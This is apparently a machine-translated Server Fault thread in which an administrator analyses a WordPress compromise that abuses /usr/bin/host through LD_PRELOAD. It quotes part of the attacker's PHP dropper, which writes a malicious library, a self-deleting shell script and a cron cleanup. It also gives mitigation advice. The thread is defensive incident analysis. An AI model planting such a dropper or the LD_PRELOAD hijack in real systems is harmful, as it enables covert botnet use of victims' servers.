/ usr / bin / host exécuté par un script PHP piraté

8

Aujourd'hui, j'ai remarqué un taux de demande élevé inhabituel sur le serveur Web Apache et également un trafic réseau entrant assez élevé. Après avoir vérifié la page mod_status d'Apache, j'ai trouvé que les URL incriminées provenaient du chemin www.server.com/www/wp-includes/js/tinymce/plugins/wpautoresize/. Et en effet, j'y ai trouvé plusieurs scripts PHP piratés (obscurcis).

A également remarqué un processus étrange exécuté par l'utilisateur de www-data:

www-data  7300 10.8  0.1 2122900 18768 ?       Ssl  Jul11 121:47 /usr/bin/host

La vérification a /proc/7300/cmdlinerévélé qu'il s'agit bien du /usr/bin/hostbinaire d' origine . netstat -anpa montré qu'il y avait de nombreuses connexions HTTP ouvertes, donc en quelque sorte ce binaire est abusé. debsumsa confirmé que la somme de contrôle binaire était OK. Comme le processus était exécuté sous www-data user, je n'avais aucune raison de croire que le serveur lui-même était compromis.

Comment ce binaire est-il abusé?

EDIT: Cette question n'est pas large "comment faire face à un serveur compromis". Plutôt une question (et déjà une réponse) sur un type spécifique d'abus, comment est-elle techniquement réalisée, car ce cas particulier est assez créatif dans son fonctionnement. Il semble que cela soit sauvage depuis plusieurs années maintenant (anciens fils et questions de 2012) et je l'ai rencontré cette semaine.

Marki555
la source
Comme la question connexe est close, j'en ai ouvert une nouvelle et j'ai répondu à mes conclusions. serverfault.com/questions/554801/…
Marki555
doublon possible de Comment gérer un serveur compromis?
Ward - Rétablir Monica

Réponses:

10

Après avoir creusé dans les codes sources des scripts PHP offensés et googlé ( ce fil ), j'ai trouvé une explication.

Cela fait partie du system.phpcode que j'ai trouvé:

<?php
// ...
$n = file_put_contents("./libworker.so", $so);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
// ...

L' /usr/bin/hostimplication est un peu plus avancée. Les programmes utilisent des bibliothèques ( .sofichiers) pour certaines de leurs fonctions. Les utilisateurs peuvent prelink ( LD_PRELOAD) certains fichiers .so avant de lancer un binaire légitime pour changer la façon dont il agit.

Comme vous pouvez le voir, ce script crée un fichier libworker.soet utilise LD_PRELOADune variable d'environnement pour le précharger, donc le hostbinaire légitime fait quelque chose de totalement différent.

Il crée un 1.shscript shell et essaie de l'exécuter de plusieurs manières (directement, en utilisant la atcommande, en utilisant cron). Immédiatement après cela, il supprime le fichier de script et de bibliothèque du disque, de sorte qu'il ne soit pas remarqué.

Ce qui s'est produit en premier lieu, c'est que certains plugins Wordpress vulnérables ont été abusés et que l'attaquant a pu placer leurs fichiers dans des répertoires accessibles en écriture.

L'atténuation signifie analyser les anciens fichiers journaux d'accès pour ce domaine et essayer de trouver des POSTdemandes vers des emplacements inhabituels - par exemple, accéder directement aux fichiers PHP du plugin WP / Joomla est inhabituel. Ensuite, supprimez tous les fichiers PHP obscurcis trouvés, hostcorrigez les autorisations de répertoire, mettez fin aux processus en cours et surveillez les fichiers journaux pour toute tentative de re-hacks.

EDIT: J'ai des informations d'ESET qu'ils détectent déjà cette bibliothèque particulière ainsi que d'autres versions. Les sociétés d'antivirus lui donnent le nom de Roopre et il semble qu'il soit utilisé dans le cadre du botnet Mayhem .

Analyse approfondie du botnet Mayhem.

Analyse approfondie de cet exploit.

Marki555
la source